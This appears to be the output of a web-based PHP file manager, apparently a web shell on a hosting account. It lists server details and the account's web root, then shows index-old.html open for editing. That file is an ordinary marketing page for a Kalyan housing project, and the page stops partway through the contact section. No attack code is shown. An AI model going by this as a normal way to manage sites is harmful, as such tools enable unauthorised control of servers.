Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-611.55.1.el9_7.x86_64

PHP Version:

8.2.30

User:

u891914234

Directory:

/home/u891914234/domains/shivnathdevelopers.com/public_html

Free Space:

8.88 TB

🔧 Quick Actions

✏️ Editing: index-old.html

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="author" content="bracket-web">
    <meta name="description"
        content="Solinom — Luxury Hotel Template is perfect if you like a clean, modern and creative template. It’s not WordPress theme. This template is ideal for hotel, hostel, resort, beach, boutique, campground, countryside, mountain, summer resort, apartments, restaurant, pub, spa wellness, wedding center, hotel B&B, vacation room/apartment rental etc, and those who need an easy, attractive and effective way to share their work with clients. If you would like to create a page that has a strong first impression and intrigues everyone, Solinom template is the tool you need. Let it impress you with the live preview page. It’s super easy to customize so it’ll suit your needs.">
    <title>Happy Homes</title>

<link rel="preconnect" href="https://fonts.googleapis.com/">
    <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin>
    <link
        href="https://fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&amp;family=Plus+Jakarta+Sans:ital,wght@0,200..800;1,200..800&amp;display=swap"
        rel="stylesheet">

<link rel="stylesheet" href="assets/css/solinom.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">

</head>

<div class="preloader">
        
        <div class="preloader__image" style="background-image: url(assets/images/project-img/shivnath-logo1.png);"></div>
    </div>
    
    <div class="page-wrapper">
        
        
        <div class="topbar-three topbar-three--one">
            <div class="container-fluid">
                <div class="topbar-three__inner">
                    <div class="top-header-info">
                        <ul class="list-unstyled topbar-three__info">
                            <li class="topbar-three__info__item">
                                <div class="topbar-three__info__icon">
                                    <i class="icon-pin"></i>
                                </div>
                                <p class="topbar-three__info__location">Shivnath Habitat,Kalyan Shil road</p>
                            </li>
                            <li class="topbar-three__info__item">
                                <div class="topbar-three__info__icon">
                                    <i class="icon-envelope"></i>
                                </div>
                                <a href="mailto:motabbirdev@gmail.com"
                                    class="topbar-three__info__contact">shivnath.happyhomes@gmail.com</a>
                            </li>
                            <li class="topbar-three__info__item">
                                <div class="topbar-three__info__icon">
                                    <i class="icon-call"></i>
                                </div>
                                <a href="tel:+91 9820992083" class="topbar-three__info__contact">+91 9820992083</a>
                            </li>
                        </ul>
                    </div>
                </div>
            </div>
        </div>

<header class="main-header sticky-header main-header--one sticky-header--normal">
            <div class="container">
                <div class="nav-section">
                    <div class="main-header__logo">
                        <a href="index.html">
                            <img src="assets/images/project-img/shivnath-logo-removebg-preview.png" alt="Solinom HTML"
                                width="140" height="100">
                        </a>
                    </div>
                    <div class="main-header__inner">
                        <nav class="main-header__nav main-menu">
                            <ul class="main-menu__list">
                                <li class="dropdown megamenu">
                                    <a href="#">Home</a>
                                </li>
                                <li>
                                    <a href="#">Project</a>
                                </li>
                                <li class="dropdown">
                                    <a href="#amenities">Amenities</a>

</li>
                                <li class="dropdown">
                                    <a href="#plan">Plans</a>

</li>
                                <li class="dropdown">
                                    <a href="#about">About Us</a>
                                </li>
                                <li>
                                    <a href="#contact">Contact</a>
                                </li>
                            </ul>
                        </nav>
                        <div class="main-header__right">
                            
                            <img src="/assets/images/project-img/happy-homo-logo-removebg-preview.png" alt="">
                            <div class="mobile-nav__btn mobile-nav__toggler">
                                <span></span>
                                <span></span>
                                <span></span>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </header>

<section class="banner-slider">
            <div id="carouselExampleControls" class="carousel slide" data-bs-ride="carousel" data-bs-interval="10000">
                <div class="carousel-inner">
                    
                    <div class="carousel-item active">
                        <section class="main-slider-one">
                            <div class="shivnath-logo">
                                <img src="assets/images/project-img/shivnath-logo-removebg-preview.png" alt="">
                            </div>
                            <div class="ban-img">
                                <img src="assets/images/project-img/happy-homo-logo-removebg-preview.png" alt="">
                            </div>
                        </section>
                    </div>
                    
                    <div class="carousel-item">
                        <section class="main-slider-two">
                            <video src="assets/images/project-img/banner-video.mp4" 
                            class="video" 
                            autoplay muted loop playsinline>
                         
                         Your browser does not support the video tag.
                     </video>
                        </section>
                    </div>
                </div>
                
                <button class="carousel-control-prev" type="button" data-bs-target="#carouselExampleControls" data-bs-slide="prev">
                    <span class="carousel-control-prev-icon" aria-hidden="true"></span>
                    <span class="visually-hidden">Previous</span>
                </button>
                <button class="carousel-control-next" type="button" data-bs-target="#carouselExampleControls" data-bs-slide="next">
                    <span class="carousel-control-next-icon" aria-hidden="true"></span>
                    <span class="visually-hidden">Next</span>
                </button>
            </div>
        </section>

<section class="testimonials-one" id="about">
            <div class="testimonials-one__bg" style="background-image: url(assets/images/shapes/testimonials-3-1.png);">
            </div>
            <div class="container">
                <div class="sec-title text-center sec-title--two about-title">
                    <img src="assets/images/shapes/sec-title-s-1.png" alt="Customer Reviews" class="sec-title__img">
                    <h6 class="sec-title__tagline bw-split-in-right">Who We Are</h6>
                    
                </div>
                <div class="row gutter-y-30 justify-content-center">
                    <div class="col-12">
                        <div class="col-right">
                            <div class="banner-content">
                                
                                <h4 class="bw-split-in-right">Shivnath Habitat Project by Happy Home</h4>
                                <h5>People Who makes you happy</h5>
                                
                                <p class="about-three__text wow fadeInUp animated" data-wow-duration="1500ms" data-wow-delay="300ms" style="visibility: visible; animation-duration: 1500ms; animation-delay: 300ms; animation-name: fadeInUp;">The Brand - Happy Home Group is a Real Estate Company primarily based in the Kalyan -
                                    Dombivli belt of MMR region, Mumbai- Sub-urban & Island city. Since its inception in
                                    1992, the Group stands out among other contemporaries for integrity in commitments,
                                    Quality work, Admirable partnerships within all business verticals, and honorable
                                    community service to the neighborhoods. In nearly three decades of operation, the
                                    group has earned the reputation for being one of the most trusted Builders &
                                    Developers by developing 120+ successful projects, providing outstanding all round
                                    services to clients, and driving innovation within the industry.</p>
                                <p class="about-three__text wow fadeInUp animated" data-wow-duration="1500ms" data-wow-delay="300ms" style="visibility: visible; animation-duration: 1500ms; animation-delay: 300ms; animation-name: fadeInUp;">The brand is highly reverberated in the areas it operates for its overwhelming sales
                                    & record time delivery targets throughout. The group is currently developing
                                    Residential and Commercial projects, Mixed Use Townships, Affordable Housing, Office
                                    Spaces and Malls etc.</p>
                                <div class="features d-flex">
                                    <div class="projects d-flex">
                                        <img src="assets/images/project-img/buildings.png" alt="" class="features-img">
                                        <h6>120 Projects Completed</h6>
                                    </div>
                                    <div class="projects d-flex">
                                        <img src="assets/images/project-img/family.png" alt="" class="features-img">
                                        <h6>9000+</br>Happy Family</h6>
                                    </div>

</div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>

</section>

<section class="about-three">
            <div class="container">
                <div class="row align-items-center gutter-y-40">
                    <div class="col-lg-6">
                        <div class="about-three__thumb">
                            <div class="about-three__thumb__item wow fadeInUp" data-wow-duration='1500ms'
                                data-wow-delay='300ms'>
                                <img src="assets/images/project-img/about (2).png" alt="solinom image">
                            </div>
                            <div class="about-three__thumb__inner">
                                <div class="about-three__thumb__small-image">
                                    <img src="assets/images/project-img/home1-2.png" alt="solinom image">
                                </div>
                                <div class="about-three__thumb__element">
                                    <img src="assets/images/shapes/about-2-1.png" alt>
                                </div>
                                <div class="about-three__thumb__element-two">
                                    <img src="assets/images/shapes/border-3-1.png" alt>
                                </div>
                            </div>
                            <div class="about-three__thumb__logo">
                                
                                 <img src="assets/images/project-img/shivnath-logo-removebg-preview.png" alt="">
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-6">
                        <div class="about-three__content">
                            <div class="sec-title text-start sec-title--two">

<h6 class="sec-title__tagline bw-split-in-right">WHY SHIVNATH HABITAT</h6>

<h3 class="sec-title__title bw-split-in-up">The Present Is What...! Determines Your
                                    Future</h3>
                            </div>
                            <p class="about-three__text wow fadeInUp" data-wow-duration='1500ms' data-wow-delay='300ms'>
                                One of the factors you should consider while buying a home is what it offers you
                                today,and what is would offer you tommorrow. The real estate landscape is a dynamic
                                one.Hence whatit emerges as a few years down the line is what constitutes a smart
                                decision.Because it would determine the way
                                you want yourself and your loved ones to live in future.</p>
                            <p class="about-three__text wow fadeInUp" data-wow-duration='1500ms' data-wow-delay='300ms'>
                                Shivnath Habitat offers everything you considered essential for a life of comfort and
                                convenience but never got. And the chance to live such a life is now because tommorrow
                                could be too late!</p>
                            <ul class="about-three__list list-unstyled">
                                <li class="about-three__list__item wow fadeInUp" data-wow-duration='1500ms'
                                    data-wow-delay='300ms'>
                                    <div class="about-three__list__icon">
                                        <i class="fas fa-layer-group"></i>
                                    </div>
                                    <h4 class="about-three__list__title"><a href="blog-details-left.html">Best
                                            Amenities</a></h4>
                                </li>
                                <li class="about-three__list__item wow fadeInUp" data-wow-duration='1500ms'
                                    data-wow-delay='500ms'>
                                    <div class="about-three__list__icon">
                                        <i class="fas fa-home"></i>
                                    </div>
                                    <h4 class="about-three__list__title"><a href="blog-details-left.html">Gracious
                                            Living</a></h4>
                                </li>
                                <li class="about-three__list__item wow fadeInUp" data-wow-duration='1500ms'
                                    data-wow-delay='300ms'>
                                    <div class="about-three__list__icon">
                                        <i class="fas fa-cube"></i>
                                    </div>
                                    <h4 class="about-three__list__title"><a href="blog-details-left.html">Modern
                                            Spaces</a></h4>
                                </li>
                                <li class="about-three__list__item wow fadeInUp" data-wow-duration='1500ms'
                                    data-wow-delay='500ms'>
                                    <div class="about-three__list__icon">
                                        <i class="fas fa-trophy"></i>
                                    </div>
                                    <h4 class="about-three__list__title"><a href="blog-details-left.html">Passion &
                                            Perfection</a></h4>
                                </li>
                            </ul>
                            
                        </div>
                    </div>
                </div>
            </div>
        </section>

<section class="benefit-three" id="amenities">
            <div class="benefit-three__bg" style="background-image: url(assets/images/shapes/brnrfit-3-1.png);"></div>
            <div class="container">
                <div class="row">
                    <div class="col-xl-8 col-lg-12">
                        <div class="benefit-three__content">
                            <div class="sec-title text-start sec-title--two">
                                <img src="assets/images/shapes/sec-title-s-1.png" alt="OUR BENEFITS"
                                    class="sec-title__img">
                                <h6 class="sec-title__tagline bw-split-in-right">BENEFITS</h6>
                                <h3 class="sec-title__title bw-split-in-up">Amenities & Features for</br> Your Luxurious
                                    Lifestyle.</h3>
                            </div>

<div class="amenities-section">
                                <div class="animities-info">
                                    <img src="assets/images/project-img/golf-club.png" alt="">
                                    <h3>Club House</h3>
                                </div>
                                <div class="animities-info">
                                    <img src="assets/images/project-img/landscape garden.png" alt="">
                                    <h3>Landscape Garden</h3>
                                </div>
                                <div class="animities-info">
                                    <img src="assets/images/project-img/Kids play area.png" alt="">
                                    <h3>Kids Play Area</h3>
                                </div>
                                <div class="animities-info">
                                    <img src="assets/images/project-img/Fitness Centre.png" alt="">
                                    <h3>Fitness Centre</h3>
                                </div>
                                <div class="animities-info">
                                    <img src="assets/images/project-img/Jogging Track.png" alt="">
                                    <h3>Jogging Tack</h3>
                                </div>
                                <div class="animities-info">
                                    
                                    <img src="assets/images/project-img/cricket.png" alt="">
                                    <h3>Turf</h3>
                                </div>
                                <div class="animities-info">
                                    <img src="assets/images/project-img/banquet hall.png" alt="">
                                    <h3>Open air hall</h3>
                                </div>
                                <div class="animities-info">
                                    <img src="assets/images/project-img/electric-generator.png" alt="">
                                    <h3>Power backup</br>generator </h3>
                                </div>
                                <div class="animities-info">
                                    <img src="assets/images/project-img/Senior citizen corner.png" alt="">
                                    <h3>Senior Citizen</br>Corner</h3>
                                </div>
                            </div>
                        </div>
                    </div>

<section class="benefit-three1">
            <div class="benefit-three__bg" style="background-image: url(assets/images/shapes/brnrfit-3-1.png);"></div>
            <div class="container">
                <div class="row">
                    <div class="col-12">
                        <div class="slider">
                            <div class="image-container1">
                                <img src="assets/images/project-img/ame1.png" />
                                <div class="image-caption">Open Air Hall</div>
                            </div>
                            
                            <div class="image-container1">
                                <img src="assets/images/project-img/ame3.png" />
                                <div class="image-caption">Indoor Games</div>
                            </div>
                            <div class="image-container1">
                                <img src="assets/images/project-img/gym1.jpeg" />
                                <div class="image-caption">Gym</div>
                            </div>
                            <div class="image-container1">
                                <img src="assets/images/project-img/ame7.png" />
                                <div class="image-caption">Club House</div>
                            </div>
                            
                            <div class="image-container1">
                                <img src="assets/images/project-img/ame8.png" />
                                <div class="image-caption">Kids Play Area</div>
                            </div>
                            
                        </div>
                    </div>
                </div>

</div>
        </section>

<section class="feature-five">
            <div class="container">
                <div class="sec-title text-center sec-title--two">

<img src="assets/images/shapes/sec-title-s-1.png" alt="FEATURED ROOMS" class="sec-title__img">
                    <h6 class="sec-title__tagline bw-split-in-right">Pioneering the Future of Refined Living</h6>

<h3 class="sec-title__title bw-split-in-up">Configuration</h3>
                </div>
                <!-- <div class="feature-five__carousel solinom-owl__carousel owl-carousel owl-theme solinom-owl__carousel--with-shadow"
                    data-owl-options='{
				"items": 1,
				"margin": 0,
				"loop": true,
				"smartSpeed": 700,
				"nav": true,
				"navText": ["<span class=\"icon-right-arrow\"></span>","<span class=\"icon-right-arrow2\"></span>"],
				"dots": false,
				"autoplay": true,
				"responsive": {
					"0": {
						"items": 1
					},
					"768": {
						"items": 2,
						"margin": 30
					},
					"992": {
						"items": 2,
						"center": false,
						"margin": 30
					},
					"1199": {
						"items": 3,
						"center": true,
						"margin": 30
					}
				}
			}'>

<div class="item">
                        <div class="feature-five-card  wow fadeInUp" data-wow-duration='1500ms' data-wow-delay='000ms'>
                            <div class="content">
                                <h6>PHASE-2</h6>
                                <p>• Ready to move (PHASE 2) :7storey , 1lift,1staircase.</br>1BHK : 500 useable carpet
                                </p>

<p>• Nearing possession( PHASE 2): 19 Storey tower, 2lifts,
                                    2staircase, 1 electrical duct ,1 fire duct ,fire safety compliant.</p>
                                <div class="possesion">
                                    <div class="flat-info">
                                        <h5>1BHK:</h5>
                                        <ul>
                                            <li>510 useable carpet </li>
                                            <li>535 useable carpet </li>
                                        </ul>
                                    </div>
                                    <div class="flat-info">
                                        <h5>2BHK:</h5>
                                        <ul>
                                            <li>660 useable carpet </li>
                                            <li>695 useable carpet </li>
                                        </ul>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>

<div class="item">
                        <div class="feature-five-card  wow fadeInUp" data-wow-duration='1500ms' data-wow-delay='000ms'>
                            <div class="content">                              
                                <h6>PHASE-1</h6>
                                <p>• Under-construction(PHASE 1) :</br> 17 Storey tower ,2lifts , 2
                                    staircase , 1 electrical duct , 1 fire duct ,fire safety compliant.</p>
                                <div class="possesion">
                                    <div class="flat-info">
                                        <h5>1BHK:</h5>
                                        <ul>
                                            <li>453 useable carpet </li>
                                            <li>458 useable carpet </li>
                                        </ul>
                                    </div>
                                    <div class="flat-info">
                                        <h5>2BHK:</h5>
                                        <ul>
                                            <li>574 useable carpet </li>
                                            <li>639 useable carpet </li>
                                            <li>653 useable carpet </li>
                                        </ul>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>

</div> -->

<div class="row">
                    <div class="general-section2">
                        <div class="col-md-6">
                            <div class="feature-five-card wow fadeInUp pulseanimation1 gradient-border"
                                data-wow-duration="1500ms" data-wow-delay="000ms" data-bs-toggle="modal"
                                data-bs-target="#exampleModal">
                                <div class="content">
                                    <h6>Shivnath Habitat – Phase 2</h6>
                                    <div class="phase">
                                        <p><b>Nearing Possession</b></p>
                                        <p>G+19</p>
                                    </div>
                                    <div class="possesion">
                                        <div class="flat-info">
                                            <h5>1BHK:</h5>
                                            <ul>
                                                <li>Build Up - 740 Sqft </br>Carpet - 510 Sqft</li>
                                                <li>Build Up - 775 Sqft </br>Carpet - 535 Sqft</li>
                                            </ul>
                                        </div>
                                        
                                    </div>
                                </div>
                                <div class="overlay">
                                    <button class="btn over-btn" data-bs-toggle="modal"
                                        data-bs-target="#exampleModal">Know More</button>
                                </div>
                            </div>
                        </div>
                        <div class="col-md-6">
                            <div class="feature-five-card wow fadeInUp pulseanimation1 gradient-border"
                                data-wow-duration="1500ms" data-wow-delay="000ms" data-bs-toggle="modal"
                                data-bs-target="#exampleModal">
                                <div class="content">
                                    <h6>Shivnath Sky City – Phase 1</h6>
                                    <div class="phase">
                                        <p><b>Under Construction</b></p>
                                        <p>S+17</p>
                                    </div>
                                    <div class="possesion">
                                        <div class="flat-info">
                                            <h5>1BHK:</h5>
                                            <ul>
                                                <li>Build Up - 680 Sqft </br>Carpet - 453 Sqft</li>
                                                <li>Build Up - 690 Sqft </br>Carpet - 458 Sqft</li>
                                            </ul>
                                        </div>
                                        
                                    </div>
                                </div>
                                <div class="overlay">
                                    <button class="btn over-btn" data-bs-toggle="modal"
                                        data-bs-target="#exampleModal">Know More</button>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>

</div>
            <div class="feature-five__shape" style="background-image: url(assets/images/shapes/feature-2-1.png);"></div>
        </section>

<section class="testimonials-one" id="plan">
            <div class="testimonials-one__bg" style="background-image: url(assets/images/shapes/testimonials-3-1.png);">
            </div>
            <div class="container">
                <div class="sec-title text-center sec-title--two">

<h6 class="sec-title__tagline bw-split-in-right">Spaces Crafted for You</h6>

<h3 class="sec-title__title bw-split-in-up">Our Featured Floor Plans</h3>
                </div>
                <!-- <div class="testimonials-one__carousel thm-tiny__slider" id="feedback-one__tiny01" data-tiny-options='{
				"container": "#feedback-one__tiny01",
				"items": 2,
				"axis": "vertical",
				"speed": 100,
				"controls": false,
				"nav": false,
				"autoplay": true,
				"autoplayButton": false,
				"mouseDrag": true
			}'>
                <div class="item">
                    <div class="testimonials-one__item">
                        <div class="row gutter-y-30">
                            <div class="col-lg-2">
                                <h5 class="floor-plan">B3 Floor Plan</h5>
                            </div>
                            <div class="col-lg-10">
                                <div class="testimonials-one__content">
                                    <div class="testimonials-one__top">
                                        <div class="testimonials-one__author">
                                            <img src="assets/images/project-img/b3-1floor.PNG" alt="">
                                        </div>
                                        <div class="testimonials-one__author">
                                            <img src="assets/images/project-img/b3-2floor.PNG" alt="">
                                        </div>
                                        <div class="testimonials-one__author">
                                            <img src="assets/images/project-img/b3-3floor.PNG" alt="">
                                        </div>
                                    </div>

</div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="item">
                    <div class="testimonials-one__item">
                        <div class="row gutter-y-30">
                            <div class="col-lg-2">
                                <h5 class="floor-plan">B4 Floor Plan</h5>
                            </div>
                            <div class="col-lg-10">
                                <div class="testimonials-one__content">
                                    <div class="testimonials-one__top">
                                        <div class="testimonials-one__author">
                                            <img src="assets/images/project-img/b4-1floor.PNG" alt=""
                                                style="height: 300px;width:400px;">
                                        </div>
                                        <div class="testimonials-one__author">
                                            <img src="assets/images/project-img/b4-2floor.PNG" alt=""
                                                style="height: 300px;width:400px;">
                                        </div>

</div>

</div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="item">
                    <div class="testimonials-one__item">
                        <div class="row gutter-y-30">
                            <div class="col-lg-2">
                                <h5 class="floor-plan">B3 Floor Plan</h5>
                            </div>
                            <div class="col-lg-10">
                                <div class="testimonials-one__content">
                                    <div class="testimonials-one__top">
                                        <div class="testimonials-one__author">
                                            <img src="assets/images/project-img/b3-1floor.PNG" alt="">
                                        </div>
                                        <div class="testimonials-one__author">
                                            <img src="assets/images/project-img/b3-2floor.PNG" alt="">
                                        </div>
                                        <div class="testimonials-one__author">
                                            <img src="assets/images/project-img/b3-3floor.PNG" alt="">
                                        </div>
                                    </div>

</div>

</div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="item">
                    <div class="testimonials-one__item">
                        <div class="row gutter-y-30">
                            <div class="col-lg-2">
                                <h5 class="floor-plan">B3 Floor Plan</h5>
                            </div>
                            <div class="col-lg-10">
                                <div class="testimonials-one__content">
                                    <div class="testimonials-one__top">
                                        <div class="testimonials-one__author">
                                            <img src="assets/images/project-img/b3-1floor.PNG" alt="">
                                        </div>
                                        <div class="testimonials-one__author">
                                            <img src="assets/images/project-img/b3-2floor.PNG" alt="">
                                        </div>
                                        <div class="testimonials-one__author">
                                            <img src="assets/images/project-img/b3-3floor.PNG" alt="">
                                        </div>
                                    </div>

</div>

</div>
                            </div>
                        </div>
                    </div>
                </div>
            </div> -->

<div class="row gutter-y-30 justify-content-center">
                    <div class="col-12 text-center">
                        <ul class="nav nav-tabs mb-3 justify-content-center" id="myTab" role="tablist">
                            <li class="nav-item" role="presentation">
                                
                                <button class="nav-link active" id="tab3-tab" data-bs-toggle="tab"
                                    data-bs-target="#tab3" type="button" role="tab" aria-controls="tab3"
                                    aria-selected="true">
                                    Sky City Phase-1
                                </button>
                            </li>
                            <li class="nav-item" role="presentation">
                                
                                <button class="nav-link" id="tab4-tab" data-bs-toggle="tab" data-bs-target="#tab4"
                                    type="button" role="tab" aria-controls="tab4" aria-selected="false">
                                    Shivnath Habitat Phase-2
                                </button>
                            </li>
                        </ul>
                        <div class="tab-content" id="myTabContent">
                            
                            <div class="tab-pane fade show active" id="tab3" role="tabpanel" aria-labelledby="tab3-tab">
                                <div class="container">
                                    <div class="row">
                                        <div class="general-section1">
                                            <div class="col-lg-6">
                                                <div class="card">
                                                    <div class="card-image">
                                                        <img src="assets/images/project-img/Skycity-Phase1-B3-Floor-Plan.jpg"
                                                            alt="B3 Floor Plan">
                                                    </div>                                                  
                                                    <div class="card-details">
                                                        <button class="btn" data-bs-toggle="modal"
                                                            data-bs-target="#exampleModal">Click More</button>
                                                    </div>
                                                </div>
                                            </div>
                                            <div class="col-lg-6">                                           
                                                <div class="card">
                                                    <div class="card-image">
                                                        <img src="assets/images/project-img/Sky-City-Phase1-B4-floor-plan.jpg"
                                                            alt="B3 Floor Plan">
                                                    </div>
                                                    <div class="card-details">
                                                        <button class="btn" data-bs-toggle="modal"
                                                            data-bs-target="#exampleModal">Click More</button>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            
                            <div class="tab-pane fade" id="tab4" role="tabpanel" aria-labelledby="tab4-tab">
                                <div class="container">
                                    <div class="row">
                                        <div class="general-section1">
                                            
                                            <div class="col-lg-6">
                                                
                                                <div class="card">
                                                    <div class="card-image">
                                                        <img src="assets/images/project-img/Sky-City-Phase1-B4-floor-plan.jpg"
                                                            alt="B3 Floor Plan">
                                                    </div>
                                                    <div class="card-details">
                                                        <button class="btn" data-bs-toggle="modal"
                                                            data-bs-target="#exampleModal">Click More</button>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>

</section>

<section class="why-choose-one">
            <div class="why-choose-one__bg jarallax" data-jarallax data-speed="0.3" data-imgPosition="50% -100%"
                style="background-image: url(assets/images/backgrounds/why-choose-bg.jpg);"></div>
            <div class="container">
                <div class="sec-title text-center sec-title--two">

<img src="assets/images/shapes/sec-title-s-1.png" alt="Why choose us" class="sec-title__img">
                    <h6 class="sec-title__tagline">A Destination You'll Cherish Forever!</h6>
                    <h3 class="sec-title__title">Location Benefits</h3>

</div>
                <div class="why-choose-one__inner"
                    style="background-image: url(assets/images/project-img/home2-2.png);">
                    <div class="why-choose-one__item">
                        <div class="why-choose-one__left1">
                            
                            <img src="assets/images/project-img/vector-map2.PNG" alt="" style="width: 100%; height: 100%;">
                        </div>
                        <div class="why-choose-one__left">
                            <h4 class="why-choose-one__item__title">Beautiful Experience You will Never Forget</h4>
                            <a href="assets/Happy home final.pdf" class="why-choose-one__item__btn solinom-btn solinom-btn--base">Download
                                Brochure</a>
                        </div>

</div>
                    <div class="why-choose-one__item">
                        <div class="why-choose-one__middle">
                            <ul class="why-choose-one__item__list">
                                <li>
                                    <div class="why-choose-one__item__icon">
                                        <img src="assets/images/project-img/train.png" alt="">
                                    </div>
                                    <div class="why-choose-one__item__content">
                                        <h5 class="why-choose-one__item__content__title">Metro Line</h5>
                                        <p class="why-choose-one__item__content__text">Approved Metro line 14 with Padle
                                            station at 0 Kms.</p>
                                    </div>
                                </li>
                                <li>
                                    <div class="why-choose-one__item__icon">
                                        <img src="assets/images/project-img/sign.png" alt="">
                                    </div>
                                    <div class="why-choose-one__item__content">
                                        <h5 class="why-choose-one__item__content__title">International Airport</h5>
                                        <p class="why-choose-one__item__content__text">International Airport within 40
                                            Mins</p>
                                    </div>
                                </li>
                                <li>
                                    <div class="why-choose-one__item__icon">
                                        <img src="assets/images/project-img/subway.png" alt="">
                                    </div>
                                    <div class="why-choose-one__item__content">
                                        <h5 class="why-choose-one__item__content__title">Bullet Train station (HSR)</h5>
                                        <p class="why-choose-one__item__content__text">Nearby Bullet Train station at 5
                                            mins.</p>
                                    </div>
                                </li>
                            </ul>

</div>
                    </div>
                    <div class="why-choose-one__item">
                        <div class="why-choose-one__middle">
                            <ul class="why-choose-one__item__list">
                                <li>
                                    <div class="why-choose-one__item__icon">
                                        <img src="assets/images/project-img/track.png" alt="">
                                    </div>
                                    <div class="why-choose-one__item__content">
                                        <h5 class="why-choose-one__item__content__title">Railway</h5>
                                        <p class="why-choose-one__item__content__text">Upcoming Railway Diva- Panvel
                                            local line Datiwali station Railway Line.</p>
                                    </div>
                                </li>
                                <li>
                                    <div class="why-choose-one__item__icon">
                                        <img src="assets/images/project-img/railway-station (2).png" alt="">
                                    </div>
                                    <div class="why-choose-one__item__content">
                                        <h5 class="why-choose-one__item__content__title">Railway Station</h5>
                                        <p class="why-choose-one__item__content__text">Near by Railway station of
                                            Ghansoli and Airoli at 12 mins.</p>
                                    </div>
                                </li>
                                <li>
                                    <div class="why-choose-one__item__icon">
                                        <img src="assets/images/project-img/road-with-broken-line.png" alt="">
                                    </div>
                                    <div class="why-choose-one__item__content">
                                        <h5 class="why-choose-one__item__content__title">Highway</h5>
                                        <p class="why-choose-one__item__content__text">Highway of Virar-Alibaug corridor
                                            at 10 mins.</p>
                                    </div>
                                </li>
                            </ul>

</div>
                    </div>

</div>
            </div>
        </section>

<section class="blog-three">
            <div class="blog-three__bg" style="background-image: url(assets/images/shapes/blog-three-3-1.png);"></div>
            <div class="container">
                <div class="sec-title text-center sec-title--two">

<h6 class="sec-title__tagline">The Epistome of Evolved Living</h6>
                    <h3 class="sec-title__title">Creating Comfort</h3>
                    <!-- <h6 class="sec-title__tagline bw-split-in-right">The Epistome of Evolved Living</h6>

<h3 class="sec-title__title bw-split-in-up">creating</h3> -->
                </div>
                <div class="row gutter-y-30 justify-content-center">
                    <div class="col-12 text-center">
                        <ul class="nav nav-tabs mb-3 justify-content-center" id="myTab" role="tablist">
                            <li class="nav-item" role="presentation">
                                
                                <button class="nav-link active" id="tab1-tab" data-bs-toggle="tab"
                                    data-bs-target="#tab1" type="button" role="tab" aria-controls="tab1"
                                    aria-selected="true">
                                    Internal Amenities
                                </button>
                            </li>
                            <li class="nav-item" role="presentation">
                                
                                <button class="nav-link" id="tab2-tab" data-bs-toggle="tab" data-bs-target="#tab2"
                                    type="button" role="tab" aria-controls="tab2" aria-selected="false">
                                    External Amenities
                                </button>
                            </li>
                        </ul>
                        <div class="tab-content" id="myTabContent">
                            
                            <div class="tab-pane fade show active" id="tab1" role="tabpanel" aria-labelledby="tab1-tab">
                                <div class="container">
                                    <div class="row">
                                        <div class="general-section">
                                            <div class="col-lg-6">
                                                <ul>
                                                    
                                                    <li>French Window</li>
                                                    <li>Power Backup generator</li>
                                                    <li>Water Storage</li>
                                                    <li>Standard quality lifts</li>
                                                    <li>Concealed copper wiring & standard </br>quality</li>

</ul>
                                            </div>
                                            <div class="col-lg-6">
                                                <ul>
                                                    <li>Solar heating systems in each building.</li>
                                                    <li>Generator/battery backup for common & lifts.</li>
                                                    <li>Underground, over-head water tank with necessary capacity as per
                                                        TMC
                                                        rules</li>
                                                    <li>The building will be painted with text & standard quality paints
                                                        from outside.</li>
                                                    <li>Concealed plumbing with superior quality of fixtures.</li>
                                                </ul>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            
                            <div class="tab-pane fade" id="tab2" role="tabpanel" aria-labelledby="tab2-tab">
                                <div class="container">
                                    <div class="row">
                                        <div class="general-section">
                                            <div class="col-lg-6">
                                                <ul>
                                                    <li>Gypsum finish walls</li>
                                                    <li>Quality pain in all rooms</li>
                                                    <li>Kitchen full tiles above platform only</li>
                                                    <li>Ample electric point with pollycab wining</li>
                                                    <li>Standard/branded plumbing fittings</li>
                                                    <li>Standard/branded sanitory fitting</li>
                                                    <li>Vitrified flooring in all rooms.</li>
                                                </ul>
                                            </div>
                                            <div class="col-lg-6">
                                                <ul>
                                                    <li>Full tiles in bathroom</li>
                                                    <li>Teak wood door frames</li>
                                                    <li>Attractive doors for main & bedrooms</li>
                                                    <li>Standard/branded door locks for main & bedrooms.</li>
                                                    <li>Aluminium sliding with powder coated</li>
                                                    <li>Granite platform with steel sink & service platform</li>
                                                    
                                                </ul>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>

</div>
            </div>
        </section>

<section class="instagram-two" id="contact">
            <div class="container">
                <div class="contact-main">
                    <div class="row">
                        <div class="col-lg-6 col-md-12">
                            <div class="contact-info">
                                
                                
                                <h3>Address</h3>
                                <p>
                                    Shivnath Habitat, opposite Moj Mart Padle gaon,</br> Kalyan Shil
                                    road-421204
                                </p>
                                <h3>Email</h3>
                                <p>
                                    shivnath.happyhomes@gmail.com
                                </p>
                                <h3>Phone</h3>
                                <p>
                                    +91 9820992083
                                </p>

<div class="footer-widget__social">
                                    <a href="https://www.facebook.com/people/Shivnath-Habitat/61565220808811/?mibextid=ZbWKwL"
                                        target="_blank" class="social-i">
                                        <i class="fab fa-facebook-f" aria-hidden="true" class="icon-color"></i>
                                        <span class="sr-only">Facebook</span>
                                    </a>
                                    <a href="https://wa.me/919820992083" target="_blank" class="social-i">
